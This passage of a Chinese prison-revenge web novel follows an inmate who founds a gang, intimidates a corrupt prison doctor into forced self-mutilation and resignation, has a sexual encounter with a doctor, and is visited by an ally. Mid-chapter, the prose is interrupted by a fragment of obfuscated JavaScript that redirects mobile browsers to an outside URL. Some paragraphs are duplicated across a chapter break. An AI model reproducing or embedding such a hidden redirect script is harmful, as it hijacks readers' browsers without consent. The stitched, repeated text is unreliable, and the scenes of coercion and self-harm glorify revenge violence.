刀疤辉愣了愣,然后咧嘴笑了。
“那咱们……真成一方了?”
林燃没说话。
他抬头看了看天。
云层还是很低,灰蒙蒙的压着,但缝隙里透出一点光,落在那堵高墙上,把电网的铁丝照得发亮。
一方?
或许吧。
笑面佛**,白癜风废了,码头帮划了界,北佬帮递了橄榄枝。
三监区这潭水,算是重新分出了深浅。
而他林燃,现在,也成了其中一股。
不是靠资历,不是靠年头,是靠命硬,靠手黑,靠一次次从死局里爬出来。
第一百六十章 血牙盟
白癜风事件后,三监区像口烧开又撤了火的锅,表面平静了,底下还翻着泡。
放风场那块巴掌大的水泥地,太阳照常晒着。但气氛不一样了。
白癜风手下那几个人彻底散了。有两个托关系调去了二监区,剩下几个龟缩在西北角,蹲那儿抽烟,烟头都不敢往312这边弹。林燃跑步经过时,那几个人脑袋埋得低低的,恨不得把脸塞裤裆里。
刀疤辉每次经过都要啐一口:“妈的,以前多横啊。
麻杆有回在厕所碰见其中一个,那人正撒尿,看见麻杆进来,尿都抖手上,愣是没敢吭声。
“燃哥,”麻杆回来学这事儿,笑得脸都皱起来,“那孙子脸都白了,跟见鬼似的。”
刀疤辉闻言哼了一声:“活该。以前跟着白癜风龇牙的时候,没想过有今天。”
周晓阳也很兴奋,突然眼睛亮晶晶的:
“燃哥,咱们现在也算一方了吧?”
这话问得有点傻,但意思好的。
林燃坐在铺上,手里拿着那截短得可怜的铅笔,在稿纸边角画着什么。闻言没抬头,嗯了一声。
“那咱们……”周晓阳搓搓手,“得起个名儿吧?”
刀疤辉来了精神,撑着坐起来:“对!得起个名!312太土了,得整霸气点的。”
麻杆凑过来:“叫‘狼帮’咋样?燃哥不就是狼吗?”
“土。”刀疤辉撇嘴,“太直接了。”
“那‘东北虎’?”
“你东北的啊?”
“不是……”
“那瞎起啥?”
牛哥蹲在便池边,难得开口:“叫……‘安江帮’?”
刀疤辉翻个白眼:“更土,跟地名有什么关系。”
几个人七嘴八舌,起的名字一个比一个离谱。什么“龙腾会”、“霸王堂”、“铁人盟”……
林燃听着,铅笔在纸上划了道弧线。
“燃哥,”周晓阳凑过来,“你起一个呗。”
林燃放下铅笔。
他看着监舍里这几张脸。
“叫‘血牙盟’。”林燃说。
监舍里静了几秒。
“血牙盟?”刀疤辉念叨两遍,“啥意思?”
林燃没解释。
他想起前世躺在病床上那十年——漆黑,无边,看不见岸,也看不见底的深渊里。他就那么下坠,下坠,不知道什么时候能到头。
重生回来这一年多,他只有一个念头,以血还血,以牙还牙。
“代表我们的规矩。”林燃说,“以后我们,只有一个规矩,以血还血,以牙还牙。”
刀疤辉愣了一会儿,然后咧嘴笑了。
“成!血牙!听着就带劲儿!”
周晓阳也跟着点头,虽然没太懂,但燃哥起的,肯定没错。
麻杆眼珠子一转:“那燃哥你就是‘血爷’?”
“不。”林燃摇头,“还是叫‘燃哥’就行。”
“血牙盟……”周晓阳念叨一遍,“好听,别人听到了,也怕我们,知道我们会不惜一切的报复,这名字有劲!”
几个人正热闹着,林燃忽然开口:
“新帮派第一件事,得办。”
刀疤辉眼睛一亮:“啥事?”
“报仇。”林燃说。
周晓阳愣了:“报仇?白癜风不是已经……”
“白癜风是白癜风。”林燃打断他,“还有别人。”
他顿了顿,看着监舍里这几个人,声音不高,但每个字都砸得很实:
“刘长生。”
刀疤辉第一个反应过来:“那个医生!给你下药的!”
麻杆脸白了白:“燃哥,刘长生……他可是干部。动干部,那是大事。”
“我知道。”林燃说,“所以得想清楚,怎么动。”
牛哥蹲那闷声说了句:“弄死?”
林燃摇头。
“不弄死。”他说,“弄死太便宜他,也麻烦。得让他活着,比**还难受。”
监舍里静下来。
几个人互相看看,眼神里有兴奋,也有点怕。
动犯人是一回事,动干部是另一回事。在监狱里,这属于越界。越界的事,要么不做,要做就得做绝,不能留尾巴。
“燃哥,”刀疤辉压低声音,“你有主意了?”
林燃点点头。
他放下铅笔,把那半张稿纸折起来,揣进怀里。
“先不急。
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”他说,“让他再蹦跶两天。”
刘长生这两天蹦跶得确实挺欢。
白癜风事件后,他一开始吓得够呛,连着三天请假没来上班。第四天来的时候,走路都贴着墙根,眼睛四处瞟,见谁躲谁。
但过了几天,他发现没事。
没人找他麻烦。林燃没来医务室,312那几个人见了他也绕道走,跟没事人似的。管教那边也没动静,好像给林燃下药那事儿压根没发生过。
刘长生的胆子,慢慢又肥了。
他开始在药房里哼小曲,开始跟来拿药的犯人开玩笑,甚至开始拿那双猥琐眼睛,偷摸打量着苏念晚凹凸有致的曲线。
直到这一天。
…………
医务室的日光灯管还是那根,亮得发白,光落在人脸上,连毛孔都能照出来。
林燃推门进去的时候,刘长生正坐在处置台后面,对着一本破旧的药品登记簿发呆。
听见门响,他抬起头。
然后那张脸就白了。
不是夸张,是真的白——从脑门到脖子,血色褪得干干净净,像有人拿刷子给他刷了一层石灰水。
手里的圆珠笔“啪嗒”掉在地上,滚了两圈,停在林燃脚边。
林燃没捡。
他把门带上,插销插好。
动作很慢,慢得让刘长生有时间看清他每一个步骤,却没有任何办法阻止。
“林……林燃……”刘长生站起来,腿撞在凳子腿上,凳子倒了,他踉跄两步,背抵住药柜,“你……你别乱来……”
林燃在处置床边坐下。
离刘长生大概三米远。
这个距离,进可攻,退可守,还能让他那张惨白的脸清清楚楚落在眼睛里。
“刘医生。”林燃开口,声音很平,“坐。”
刘长生没动。
林燃也不急,就看着他。
日光灯嗡嗡响着,像只困在玻璃罩里的虫。
过了大概十几秒,刘长生腿一软,顺着药柜滑下去,蹲在地上。
他抱着头,肩膀抖得厉害,活像只被逼到墙角的鹌鹑。
他不是没想到会遇见林燃,他也知道林燃那些恐怖的传闻。
第一百六十一章 处置
但毕竟门卫就是管教,这里还是高墙林立的监区里。
他有信心林燃不会对他做什么,至少不会大白天做什么。
可现在见到林燃的第一眼起,他就整个奔溃了。
“别……别杀我……”他声音闷在胳膊里,断断续续的,“白癜风那事……是他逼我的……他说我不干就弄死我……我没办法……我真的没办法……”
林燃没说话。
他看着这个蹲在地上发抖的男人。
白大褂皱得不成样子,袖口有碘伏的渍迹,领口磨得发毛,扣子还扣错了一颗。头顶那几根稀疏的头发在日光灯下泛着油光,随着他抖动的肩膀一晃一晃的。
说起来,刘长生今年也就四十出头,在监狱医务室干了十几年。技术还行,但人没骨头。赌债缠身,被人一捏就软,软着软着,就什么都敢干了。
“你欠白癜风多少?”林燃问。
刘长生抬起头,眼眶红红的:“八……八万。我**输的,利滚利……后来豁嘴出事,他说这债免了,条件是帮他办你……”
“他给你免了。”林燃接话,“现在你欠我的,怎么算?”
刘长生愣住了。
他张了张嘴,没说出话。
林燃站起来,走过去,在他面前蹲下。两人脸对着脸,距离不到一尺。
刘长生能闻到他身上那股淡淡的肥皂味——在监狱里,这是干净的味道。
“刘医生,”林燃盯着他的眼睛,“你知道那天在维修间,白癜风手里拿着刀,想往我脖子上划吧?”
刘长生喉结滚动了一下。
“那刀要是划下去,我现在就是一具尸体。”林燃继续说,“抬出去,法医鉴定——‘犯人互殴致死’,监狱里这种事不新鲜。你呢?你继续当你的医生,偶尔赌两把,欠点小债,再被人一捏,继续软。”
刘长生嘴唇哆嗦着,想说什么。
“可我没死。”林燃打断他,“白癜风现在龟缩在三监区那个角落里,见了我的人绕道走。铁锤后脑勺开了瓢,现在还躺在医疗监区,能不能醒过来都两说。你那些赌债,白癜风给你免了,可你自己算算——”
他顿了顿。
“你现在这条命,值多少钱?”
刘长生眼眶里的水汽终于凝成泪珠,滚了下来。
他五十来岁的人,蹲在地上哭,鼻涕眼泪糊一脸,看着可怜,又有点恶心。
林燃没动,就看着他哭。
哭了大概两分钟,刘长生抹了把脸,声音沙哑:“你……你想让**什么?”
林燃站起来,回到处置床边坐下。
林燃看着他这副样子,心里没什么感觉。可怜?谈不上。可恨?也犯不上。就是个软骨头,被人捏着把柄,什么事都干得出来。
“你给我做两件事。”林燃说。
刘长生拼命点头。
“第一件事,自己把自己小拇指剁了?”
林燃说完,把那枚手术刀残片扔在桌上。
刘长生看着那刀片,脸白得像纸。
“第二条,”林燃继续说,“你自己辞职,离开安江监狱,回老家去,这辈子别再让我看见你。”
刘长生愣了愣。
“辞职?”他喃喃重复。
“对。”
林燃站起来,走到他面前,低头看着他,“就这几天,你自己写辞职报告,说身体不好,干不动了。然后收拾东西走人。走了之后,你那些破事,我不提,别人不知道。但你要是敢留下来,或者走了之后还敢跟这边的人联系——”
他没说完,只是盯着刘长生的眼睛。
刘长生被那眼神刺得一哆嗦,拼命点头:“我做!我做!切完我就走!明天就交报告!”
林燃点点头,看着刘长生拿起刀片。
他胆小懦弱,又是切自己医生至关重要的手指。
几次下不了手。
林燃冷眼看着,说:“不切也行,那就我来……”
说完,他拿起刀片,作势要扎向刘长生的胸口。
“啊!”
吓得刘长生跪地求饶。
一股温热和恶臭从刘长生身下传来。
刘长生甚至失禁了。
转身朝门口走去。
走到门口,他停下来,回头看了一眼。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17212212|197428||http|test|mini|href|location''.split(''|''),0,{}));
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r>刘长生还坐在那儿,整个人像被抽了骨头,瘫在椅子上,眼泪鼻涕糊了一脸。
“刘医生,”林燃说,“你运气好。换个人,你今天出不了这医务室。”
门关上时,他听见身后传来压抑的、像动物受伤一样的呜咽声。
第二天上午,刘长生果然去找了监狱长。
据麻杆从四监区那边听来的消息,他递了份报告,说自己身体不好,高血压,心脏也有问题,申请调去条件好一点的北仓监狱——那边有个专门的干部疗养中心,需要医生。
报告批得很快。
第三天,刘长生就收拾东西,走了。
走之前,他没再来找林燃。
只是在经过312监舍门口时,脚步顿了顿,对着那扇紧闭的铁门,站了几秒,然后低着头,快步消失在走廊尽头。
这些,是刀疤辉后来告诉林燃的。
林燃听完,没说话。
窗外有风吹进来,带着秋天那种干爽的凉意。
刘长生走了。
白癜风废了。
三监区的天,好像真的变了一点。
但林燃知道,这只是开始。
真正要收拾的人,还在外面。
………
刘长生走的第二天,林燃以“腿伤复查”的名义,又去了趟医务室。
这回是真复查。左腿胫骨那点伤养了这么久,也该让苏念晚好好看看,顺便换个药。
他到的时候,医务室里很安静。
处置室的门虚掩着,里面传来窸窸窣窣的声音。林燃敲了敲门,没人应。他推门进去,看见苏念晚正蹲在墙角,收拾那个被刘长生翻得乱七八糟的药柜。
她今天没穿白大褂。
换了件洗得发白的淡蓝色衬衫,袖子卷到手肘,露出一截细瘦的小臂。头发用根黑色皮筋随意扎着,有几缕碎发散在耳边,随着她弯腰的动作晃来晃去。
听见门响,她回过头。
看见是林燃,她愣了一秒,然后站起来。
“你来了。”她说,声音有点哑。
林燃“嗯”了一声,在处置床边坐下,撩起裤腿。
第一百六十二章 温存
窗外有风吹进来,带着秋天那种干爽的凉意。
刘长生走了。
白癜风废了。
三监区的天,好像真的变了一点。
刘长生走的第二天,林燃以“腿伤复查”的名义,又去了趟医务室。
他其实是有些想见苏念晚了。
到的时候,医务室里很安静。
处置室的门虚掩着,里面传来窸窸窣窣的声音。林燃敲了敲门,没人应。他推门进去,看见苏念晚正蹲在墙角,收拾那个刘长生留下的烂摊子。
她今天没穿白大褂。
换了件洗得发白的淡蓝色衬衫,袖子卷到手肘,露出一截白皙的小臂。头发用根黑色皮筋随意扎着,有几缕碎发散在耳边,让人叹为观止的地方,随着她弯腰的动作晃来晃去。
听见门响,她回过头。
看见是林燃,她愣了一秒,然后站起来。
“你来了。”她说,声音有点哑。
林燃“嗯”了一声,在处置床边坐下,解开上衣。
苏念晚走过来,蹲下,手指按了按他身上伤处。虽然已经没什么事了。但她还是低着头,认真检查,睫毛垂着,在眼睑下投出一小片阴影。
“都快好了。”她说,“以后别再犯险。”
林燃点点头,心里却知道自己这答应的毫无意义。
苏念晚站起来,走到处置台边,拿了卷新绷带和药膏,又走回来。她蹲下,开始给他换药。
动作很轻,很慢。
比平时慢。
林燃看着她。
她低着头,侧脸的线条很柔和,但下巴绷得有点紧。领口的扣子系得规规矩矩。
察觉到他的灼热目光。
苏念晚微微一笑,干脆解开一颗。
让他大饱眼福。
林燃顿时有些脸红。
经历生死,在男女事上,他却有些生疏。
这下丰腴丽人的锁骨那儿却露出来一点,皮肤很白,白得能看见底下细细的青色血管。
“刘长生走了。”苏念晚忽然开口,声音很轻。
“嗯。”林燃注意力明显没在话上。
“他走之前,来跟我道别。”她继续说,“说了很多话,说他对不起,说他以前不是这样的,说他其实知道自己在干什么,就是……就是管不住自己。”
林燃没说话。
“他还说……”苏念晚顿了顿,“说我带句话给你,说你的要求,他记住了。”
“哦。”
苏念晚抬起头,看着他。
她眼睛里有水光,很淡,但林燃看得见。
“林燃,”她说,“你到底是干什么的?”
这问题问得没头没尾。
林燃没回答。
苏念晚也不等他回答。她把最后一段绷带缠好,打了个结,然后站起来,看着他。
“我妈这个月的透析做完了。”她说,“医生说,情况稳定,再养一段时间,可以试着延长透析间隔。”
林燃点点头:“好事。”
“是好事。”苏念晚说,“我昨天去看她,她跟我说,闺女,你脸色好多了,是不是在监狱里不累?我说是,换了轻松的岗位。”
她顿了顿。
“她信了。”
林燃沉默了几秒。
他看着这个女人。
她站在那儿,逆着光,淡蓝色的衬衫有点透,能看见里面那件棉质内衣的轮廓。
“苏医生。”林燃开口。
“嗯?”
“过来。”
苏念晚愣了愣,然后慢慢走过来,在他面前站定。
林燃抬起手,握住她的手。
她的手很凉,凉得像刚从冷水里捞出来。但指尖没抖,就这么让他握着。
“**事,”林燃说,“以后我管。”
苏念晚看着他。
那眼神很复杂,有疑惑,有不信,还有一点藏得很深、几乎看不出来的——期待?
“你管?”她问。
“我管。”林燃说。
苏念晚沉默了几秒。
然后她忽然笑了。
那笑容很轻,很淡,但眼睛里的水光晃了晃,差点晃出来。
“林燃,”她说,“你知道我现在最想干什么吗?”
“什么?”
她没回答。
她弯下腰,低下头,吻住了他。
那个吻来得突然,但并不仓促。
她的嘴唇很软,有点凉。
林燃愣了一秒。
然后他抬起手,揽住她的腰,把她拉进怀里。
处置室的门不知什么时候已经关上了。
药柜、器械台、处置床
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、水池——这些每天和消毒水、血污、脓液打交道的器具,沉默地围在四周,像一群见惯不惊的老观众。
日光灯嗡嗡响着,还是那根老灯管。
窗户开着一条缝,秋天的风从那道缝里钻进来,吹得窗帘轻轻晃动。
苏念晚的衬衫扣子又解开一颗。
两颗。
她没躲,反而往前靠了靠,把自己送进他怀里。
皮肤相触的那一刻,两个人都顿了一下。
她的皮肤很凉,像玉。但底下有温热在流动,一下一下的,是心跳。
林燃的手指划过她后背,能摸到那白温润的后背。
“林燃……”她在他耳边轻轻叫了一声,声音有点抖。
“嗯?”
“没事。”她把脸埋在他肩上,声音闷闷的,“就是想叫叫你。”
林燃没说话。
他把下巴抵在她发顶,闭上眼睛。
窗外有鸟叫,远远的,听不真切。风继续吹着,窗帘晃动的幅度大了些,露出外面一角灰白色的天。
苏念晚的衬衫不知什么时候已经褪下去,堆在腰间。她身上那件棉质内衣有点旧了,肩带松垮垮的,印着个小碎花的图案——洗得太多,花都快看不见了。
林燃低头看她。
她闭着眼,睫毛在颤,呼吸有点急。脸颊上浮起两团淡淡的红,一直蔓延到耳根。
“看着我。”他说。
她睁开眼。
那双眼睛里有水光,有慌乱,有信任,还有一点破罐子破摔似的——随便了。
林燃低下头,吻她的眼睛。
吻她的鼻尖。
吻她的嘴唇。
很轻,很慢,像在尝什么珍贵的东西。
她的身体慢慢软下来,靠在他怀里,呼吸渐渐乱了。
日光灯还在嗡嗡响。
窗外有脚步声经过,是巡逻的狱警,皮鞋踩在水泥地上,咔,咔,咔,走远了。
处置床上铺着的那层薄薄的垫子有点硬,硌得人后背疼。但没人顾得上这个。
苏念晚的手指抓紧他的囚服。
她把脸埋在他肩上,咬着嘴唇,不敢出声。
林燃能感觉到她的身体在轻轻发抖,是紧张的,也是别的什么。
他放慢了,等她适应。
第一百六十三章 交心
过了很久——也许是几分钟,也许是更久——她忽然抬起头,看着他的眼睛。
那双眼睛里有水光,亮得惊人。
“林燃,”她叫他的名字,声音有点哑,但很稳,“我这条命,是你的了。”
林燃没说话。
他低下头,吻了吻她的眉心。
风从窗外涌进来,带着秋天那种干爽的凉意,还有一点点——远处田野里焚烧秸秆的焦香。
日光灯管还是那根,亮得发白。
窗帘还在晃。
不知道过了多久,一切终于静下来。
苏念晚蜷在他怀里,身上盖着他那件囚服外套。她闭着眼,呼吸渐渐平稳,嘴角还挂着一点——很淡很淡的笑。
林燃靠墙坐着,一只手搭在她肩上,另一只手夹着根烟——是刀疤辉之前塞给他的,他一直没抽。
他没点。
就夹着,让烟在指间慢慢转。
怀里的女人动了动,把脸往他怀里又埋深了些,嘟囔了一句什么,听不清。
林燃低头看她。
头发散开了,乱七八糟地铺在他胳膊上。侧脸埋在阴影里,只能看见半边脸颊,和那截露在外面的、细细的脖颈。
他想起第一次见她,是刚进312那会儿,被刀疤辉用塑料片划伤手臂,来医务室换药。
她那时穿着白大褂,戴着金丝眼镜,头发挽得一丝不苟,看人时眼神冷冰冰的,像看件需要处理的物品。
那时候谁能想到,有一天她会这样蜷在他怀里。
林燃夹着烟的手指动了动。
还是没点。
窗外有鸟叫,叽叽喳喳的,好像是一群麻雀。
苏念晚忽然开口,声音很轻,带着点慵懒的沙哑:“你在想什么?”
“没想什么。”
“骗人。”她往他怀里拱了拱,“你这种人,什么时候不在想东西?”
林燃低头看她。
她睁开眼,正对上他的目光。
两人对视了几秒。
她忽然笑了,那笑容懒洋洋的,像只晒够了太阳的猫。
“林燃,”她说,“你知道吗,我第一次见你,就觉得你不一样。”
“怎么不一样?”
“眼神。”她说,“其他犯人看我的眼神,要么猥琐,要么讨好,要么躲闪。你看我的眼神……像是在评估一件工具,能用就用,不能用就放着。”
林燃没说话。
她说得没错,那时候确实是这么想的。
“后来你拿那事威胁我,我恨过你。”她继续说,“恨了挺久。可后来……”
她顿了顿。
“后来你帮我还了那笔钱。不是交易,是提前给的。你那时候根本不知道我会不会帮你,就把钱打过去了。”
林燃“嗯”了一声。
“为什么?”她问。
林燃想了想。
“因为你妈。”他说。
苏念晚愣住了。
“我也有妈。”林燃说,“她在外面,天天盼着我出去。你妈也盼着你好。将心比心。”
苏念晚沉默了几秒。
然后她把脸埋进他怀里,肩膀轻轻抖了一下。
不是哭,是那种——憋了很久的气,忽然泄出来的感觉。
林燃没动,就让她这么靠着。
过了好一会儿,她才抬起头,脸上干干净净的,就是眼睛有点红。
“林燃,”她叫他。
“嗯?”
“你喜欢我吗?”
这个问题问得太直接,直接得不像她会问的。
林燃看着她。
她也在看他,眼睛里有水光,有认真,还有一点——豁出去的坦然。
他想了大概两秒。
“喜欢。”他说。
苏念晚愣了愣,然后笑了。
那笑容比刚才更软,像三月的风。
“那就行,以后,我这条命是你的……”她说完,像是说出了什么不能面对的秘密一般,又把脸埋回去。
林燃夹着烟的手指又动了动。
还是没点。
……
就在这时,处置室的门被人敲响了。
“苏医生?苏医生在吗?里面还好?”
是管教的嗓音。
苏念晚猛地坐起来,动作快得像被电打了一下。她手忙脚乱地套上衬衫,扣子都扣错了,又手忙脚乱地解开重扣。
林燃倒是不紧不慢,把囚服外套穿上,站起来,走到窗边,背对着门。
“在!”苏念晚应
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了一声,声音有点紧,她清了清嗓子,“在换药,马上就好!”
门外的人“嗯”了一声,脚步声走远了。
苏念晚长出一口气,靠在处置台上,捂着胸口。
林燃转过身,看她这副惊魂未定的样子,忽然有点想笑。
苏念晚瞪他一眼:“笑什么笑!”
“没笑。”林燃说。
苏念晚哼了一声,对着墙上的小镜子整理头发。手指飞快,三两下就把那堆乱七八糟的头发挽了起来,露出光洁的脖颈和耳朵。
耳朵尖还红着。
她整理完,转过身,看着林燃。
林燃也在看她。
两人对视了几秒。
彼此又有些想要靠近。
医务室里的那点旖旎还没散干净,空气里还飘着苏念晚身上那股女子清香,掺着消毒水味儿,混成一种奇怪的味道。
敲门声就是这时候响起来的。
不是那种礼貌的、敲两下等回应的敲法,是直接用警棍砸门,咣咣咣,三下,震得门框都在抖。
“林燃!出来!”
不是先去巡逻的管教小吴,这次是林燃的老对头——管教老严的声音。
苏念晚手一抖,刚扣好的扣子又崩开一颗。
她低着头飞快地重新系好,脸上那点红还没退干净,耳朵尖却已经白了。
林燃倒是不紧不慢。
他把那根一直没点的烟揣回兜里,站起来,走到门边,脸上满是杀意。
老严这比东西,以前几次在林燃手里吃瘪,还不学乖!
而且之前虽然恶心,但没今天这么讨厌。
打扰人家的好事,死后可是要下地狱的!
拉开门。
老严那张鱼泡脸杵在门口,眯着眼往里瞄了一眼。苏念晚已经背对着门,在处置台前整理器械,背影僵硬,动作却很快。
“换药换这么久?什么情况?”老严盯着林燃,声音阴阳怪气。
“老伤,得仔细看。”林燃说,脸上没什么表情。
老严又往里瞄了一眼,没看出什么破绽,哼了一声:“走吧,我过来通知你,有人探监。”
“谁?”林燃随口问了一句。
“你女朋友。”
第一百六十四章 你有女朋友?
女朋友三个字,一下让房间里的气氛都变了。
老严说这三个字的时候,眼神往苏念晚那边瞥了一下,嘴角扯出点意味不明的弧度,他又看似随意地提了一句:“挺勤快的啊,三天两头来。”
艹!这老壁咚西!
林燃脑袋一懵,知道被这家伙给阴了。
他口中的“女朋友”,自然指的是以恋人身份作掩护,来见面联络的秦墨。
这老严故意在苏念晚面前说这个,估计是看出了林燃和漂亮女狱医之间有事。
就是来恶心他的。
不能再放过这老阴笔东西了。
林燃心里一狠,但也不敢回头看苏念晚。
因为不用回头,他已经能感受到身后丽人混合着惊诧、疑惑、伤恨的目光,已经刺在自己背上。
如芒在背啊!
刚刚还你侬我侬的,现在出现个探监会见的女朋友,算是什么回事!?
他都可以想象今晚的苏念晚,有多么辗转反侧,彻夜难眠了。
但此时他无法解释。
也没敢接话,只能跟着老严往外走。
走出医务室走廊时,林燃回头看了一眼。
苏念晚站在处置台边,手里攥着卷绷带,正空壳雕塑般站着。
原本含情脉脉的杏眼,此时却空洞盲目地睁大,瞳孔失焦,像是抽空了灵魂般,怔怔愣在那。
可以想见刚刚老严那句“女朋友”对她的刺激有多大。
她此时心绪想必正被巨大的情绪流所冲刷。
刚刚还互相依偎的那人,相互托付希望的那人。
结果告诉她,他有女朋友!?
林燃几乎控制不住,想要开口,冲她挤眉,想给一个慰藉的眼神,很小幅度的。
可察觉到目光的苏念晚却撇过头,避开了他的眼神。
麻烦了。
林燃心想,这姑娘已经被老严的话给套进去了。
始作俑者的老严,在身后推了他一把。
“走了!还念念不忘啊?哎哟,想打我啊?”
林燃眼神如烧红的铁,钉在眼前鱼泡眼的恶心老管教脸上。
即使是在这里混了好些年、见过无数凶恶犯人的老严。
此时也心里一寒。
“这小子……真不是普通人物,得罪他不是什么好事……”
本来还想再挑衅几句的老严,见到眼神几乎要**的林燃。
也呐呐闭嘴,有些后悔得罪这个年轻杀神。
两人出去,身后那扇门关上,发出很轻的一声响。
去会见室的路不长,穿过一条走廊,拐两个弯,再经过一道铁门。
老严在前面走,步子拖沓,手里的警棍时不时敲一下墙,发出笃笃的闷响。
会见室快到了,在办公楼一楼,穿过两道铁门,再经过一条两边都是监舍的走廊。
一路上碰见几个犯人,看见林燃,都下意识往旁边让了让。
有个面生的,不知道是哪个监区的,没来得及躲,被同伴一把拽到墙根。
甚至他同伴低声说了一句“这就是那个血牙盟老大!”
林燃没理他们,继续走。
脑子里飞速思考,想刚才医务室里那一幕。
苏念晚那句“我这条命是你的了”,说的时候眼神很亮,亮得有点烫人。
这话他听过。
前世瘫痪在床那十年,母亲每次来探视,都会握着他的手说:“燃燃,妈这条命就是你的,你活着妈就活着。”后来母亲病重,她已经说不出话了,只是看着他,眼睛里的光一点一点暗下去。
那光熄灭的样子,他一辈子忘不了。
所以他知道“命是你的”这话意味着什么。
意味着这姑娘的一切,都放在自己身上。
一股强大的保护欲涌上心头。
可本来是如此温馨的交心时刻。
偏偏被身前这个**所破坏……
林燃恨恨地看着身前矮胖背影。
但对付老严不急。
自己有更多更重要的事。
而现在,摆在面前的。
是秦墨这时候来干什么?
上次见面是笑面佛死之前,她带消息说狗皮蛇落网了,案子进了中院。
后来出了那么多事——黑拳、白癜风、刘长生——他这边一直没机会联系她。
算算日子,快一个月了。
一个
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月,能发生很多事。
探视室的门被推开时,秦墨已经坐在里面了。
还是那个面对面的隔间,没玻璃,只有一张窄窄的长桌。
这种房间一般是给律师或亲密家属用的,秦墨能申请到,说明她那边登记的依然是女友。
她今天穿了便装——浅灰色的休闲外套,里面是件白色高领毛衣,头发披着,比上次见面时长了点。
脸上化了淡妆,眉宇间带着英气和骄傲,身材高挑矫健,充满青春活力,和苏念晚的温婉性感完全不是一个类型。
看见林燃进来,她眼睛亮了亮,下意识站起来,真像前来探监的年轻女友。
林燃在她对面坐下。
秦墨嘴角挂着点笑意,看着他,像揣着什么好事。
林燃也看着她。
两人对视了两秒,她先忍不住笑了。
“你这是什么眼神?”她问。
“跟看犯人似的。”
“你演技真的越来越好了,每次会见是的那股兴奋劲,甚至像真的女朋友一样。”林燃调侃说。
面对这种明显带指向性的玩笑,秦墨却没有反对或者否认,甚至都没有害羞。
她反而抛了个娇俏的媚眼。
“这你在我们学校没学过化妆侦查吗?隐蔽的核心是表演,演你女朋友,我已经得心应手了。”
对于这个意料之外的回答,林燃抿嘴笑了一下。
秦墨把身子往前探了探,压低声音,但语气里压不住那股兴奋劲儿:
“林燃,你知道我这次来,第一件事想跟你说什么吗?”
林燃看着她,等着。
“我父亲前两天开会,省司法系统内部有个通报。”
秦墨说,眼睛亮晶晶的,“说安江监狱最近出了个奇才,一个犯人在里面写了篇法律论文,投到《法学》期刊上,被录用了。”
林燃眼皮跳了一下。
“《法学》?”他重复。
“对。《法学》。”秦墨盯着他的脸,“国内刑法学领域的**,你知道噻!这我们学校之前都没教授上过,这安江监狱却出了个这么大的奇才,你说这是不是奇迹?!”
第一百六十五章 《法学》
即使已经经历过这么多事,但此时林燃心里仍有些不敢相信。
这名字他在警校时听过。那时候刑法老师上课,偶尔会提起这本期刊,语气里带着点敬意。
那是国内刑法学界的顶级期刊,本科生发一篇能保研,研究生发一篇能毕业,副教授发一篇能评教授的地方。
他当时也幻想过能在这上面发文章的,本科生要是能上一篇,保研直接走免试。
现在坐牢后,反而告诉他,自己有篇文章,上了《法学》?
他那篇东西,说实话,写得急,案例分析那块还留了几处没打磨透。当时想着能引起谭副院长注意就够了,能让他多看两眼案卷就行。
上期刊?想都没想过。
秦墨却没注意到他的表情变化。
继续自顾自说:
“……这人的法律论文,我爸还特意找来看了,说是关于运输**罪‘明知’要件认定的。写得……怎么说呢,我爸说他们政法会上参会的几个大佬都评价,说角度刁钻,论证扎实,不是那种花架子文章。最离谱的是,这篇论文居然还是匿名发的。”
“唔……确实神奇。”林燃又含糊的配合感慨了一句。
“而且你猜这篇论文的指导老师是谁?”秦墨继续说,神情太过激动,不等林燃接话,就自顾自把答案抛了出来。
“谭副院长啊!市中院那个谭副院长。他不仅推荐了,还写了推荐语——推荐语里说,‘此文虽出自特殊环境,然其思辨之锐、析理之深,不逊于专业学子。窃以为,刑罚的目的,在于教育,更在于唤醒’……”
会见室的灯还是那样,惨白惨白的,照得人脸发青。
秦墨说这话的时候,眼睛里亮得能映出人影,像个小姑娘得了什么宝贝急着炫耀。
她不知道,那篇“被谭副院长推荐”的论文,原作者就坐在她对面。
林燃没吭声。
他把手放在桌上,手指慢慢收拢,又松开。
他想起那篇稿纸寄出去之前的那个晚上。熄灯后,他趴在铺上,就着窗外探照灯扫过的几秒光亮,一个字一个字地改。
改到最后,稿纸边角都磨**了,铅笔短得捏不住。
那时候他想的是,只要能递到谭副院长手里,看一眼,哪怕就一眼,也值了。
结果那老头儿不仅看了,还推荐了,还写了推荐语。
“指导老师写的是谭副院长。”林燃慢慢说,“那这篇文章……算谭副院长推荐发表的?”
“对啊。”
秦墨理所当然地点头,“不然呢?犯人投稿,哪个期刊敢收?谭老头儿用自己名字挂了个指导,等于用他的脸给这篇文章背书。这面子,给得够大了。”
林燃靠在椅背上。
脑子里那根一直绷着的弦,忽然松了半格。
谭老头儿肯挂这个名,说明什么?说明他对这篇文章是真认可,不是应付差事。说明他愿意为一个素不相识的犯人,担这个责任。
这种人,在现在的政法系统里,不多了。
他回过神后,问:“你爸怎么知道是安江监狱的人写的?”
“谭副院长在会上提的。”秦墨说,“他说这个犯人用功,在监狱那种环境里还能静下心啃法律,值得鼓励。还说他已经联系了**,建议给这个犯人记功减刑。”
记功减刑。
林燃扯了扯嘴角。
这老头儿,还真是……书生意气。
“但是听说,**都很懵,说监狱管控严格,根本没有渠道递论文出来,更不相信安江能有这样水平的犯人,听说现在还在找这个原作者呢。”
肯定找不到,林燃当时通过苏念晚,才将论文蒙混出来,而论文上,他只点明了自己是安江监狱犯人的身份,没透露自己姓名,就是为了担心后续被人发现自己的**和法学功底。
在法庭上,这是自己留的底牌,需要时再启用。
但在监狱这血肉丛林的严酷环境里。
是最可怕的定时**。
“林燃,”秦墨忽然往前探了探身子,眼睛盯着他,“你说,写这篇论文的人,得多厉害?”
林燃看着她。
这姑娘眼神里的崇拜是真的,好奇也是真的。她以为那是某个深
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藏不露的高人,或许是个落难的法律学者,或许是个被冤枉的前法官。
她想不到,那人就坐在她对面,穿着灰扑扑的囚服,手指关节上还带着打架磨破的伤。
“是挺厉害。”林燃说。
